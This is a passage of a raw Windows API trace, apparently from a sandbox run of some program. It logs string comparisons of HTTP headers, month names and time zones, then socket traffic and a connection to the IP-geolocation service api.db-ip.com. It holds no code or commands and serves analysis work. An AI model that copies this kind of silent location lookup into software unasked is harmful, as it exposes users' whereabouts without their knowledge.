cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Language", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Language", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Language", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 1 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTF-8", cchCount1=1, lpString2="\"", cchCount2=1) returned 3 [0119.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="charset=UTF-8", cchCount1=7, lpString2="charset", cchCount2=7) returned 2 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Length", cchCount2=14) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Length", cchCount2=14) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Length", cchCount2=14) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Range", cchCount2=13) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Range", cchCount2=13) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Range", cchCount2=13) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Range", cchCount2=13) returned 1 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Range", cchCount2=13) returned 3 [0119.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 2 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0119.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVG", cchCount2=3) returned 1 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="JAN", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="FEB", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="MAR", cchCount2=3) returned 2 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="A", cchCount2=1) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACDT", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACST", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACT", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ADT", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEDT", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEST", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AFT", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKDT", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKST", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ART", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWDT", cchCount2=4) returned 3 [0119.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWST", cchCount2=4) returned 3 [0119.457] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa84 | out: lpTimeZoneInformation=0x18fa84) returned 0x2 [0119.458] LoadStringW (in: hInstance=0x400000, uID=0xfea1, lpBuffer=0x18db44, cchBufferMax=4096 | out: lpBuffer="Chunk Started") returned 0xd [0119.458] GetTickCount64 () returned 0x1150964 [0119.458] GetTickCount64 () returned 0x1150964 [0119.458] GetTickCount64 () returned 0x1150964 [0119.458] select (in: nfds=0, readfds=0x18f8e4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f8e4, writefds=0x0, exceptfds=0x0) returned 1 [0119.458] SetLastError (dwErrCode=0x0) [0119.458] SetLastError (dwErrCode=0x0) [0119.458] WSASetLastError (iError=0) [0119.458] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.458] SetLastError (dwErrCode=0x0) [0119.458] WSASetLastError (iError=0) [0119.458] recv (in: s=0x12c, buf=0x2d51900, len=29, flags=0 | out: buf=0x2d51900*) returned 29 [0119.458] GetTickCount64 () returned 0x1150964 [0119.458] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.458] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.458] WSASetLastError (iError=0) [0119.458] send (s=0x12c, buf=0x2d409d3*, len=31, flags=0) returned 31 [0119.459] shutdown (s=0x12c, how=1) returned 0 [0119.459] closesocket (s=0x12c) returned 0 [0119.460] socket (af=2, type=1, protocol=0) returned 0x12c [0119.460] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18facc, optlen=0x18fac8 | out: optval="\x01", optlen=0x18fac8) returned 0 [0119.460] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18facc, optlen=0x18fac8 | out: optval="", optlen=0x18fac8) returned 0 [0119.460] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0119.460] htons (hostshort=0x0) returned 0x0 [0119.460] bind (s=0x12c, addr=0x18fa24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0119.460] getsockname (in: s=0x12c, name=0x18fa18, namelen=0x18fa98 | out: name=0x18fa18*(sa_family=2, sin_port=0xc00c, sin_addr="0.0.0.0"), namelen=0x18fa98) returned 0 [0119.460] htons (hostshort=0xcc0) returned 0xc00c [0119.461] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 13 [0119.461] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x80fa5c, cchASCIIChar=13 | out: lpASCIICharStr="api.db-ip.com") returned 13 [0119.461] GetAddrInfoW (in: pNodeName="api.db-ip.com", pServiceName=0x0, pHints=0x18facc*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faec | out: ppResult=0x18faec*=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) returned 0 [0119.461] FreeAddrInfoW (pAddrInfo=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) [0119.461] htons (hostshort=0x1bb) returned 0xbb01 [0119.461] connect (s=0x12c, name=0x18fa7c*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=16) returned 0 [0119.485] getsockname (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0xc00c, sin_addr="192.168.0.156"), namelen=0x18fae4) returned 0 [0119.485] htons (hostshort=0xcc0) returned 0xc00c [0119.485] getpeername (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=0x18fae4) returned 0 [0119.485] htons 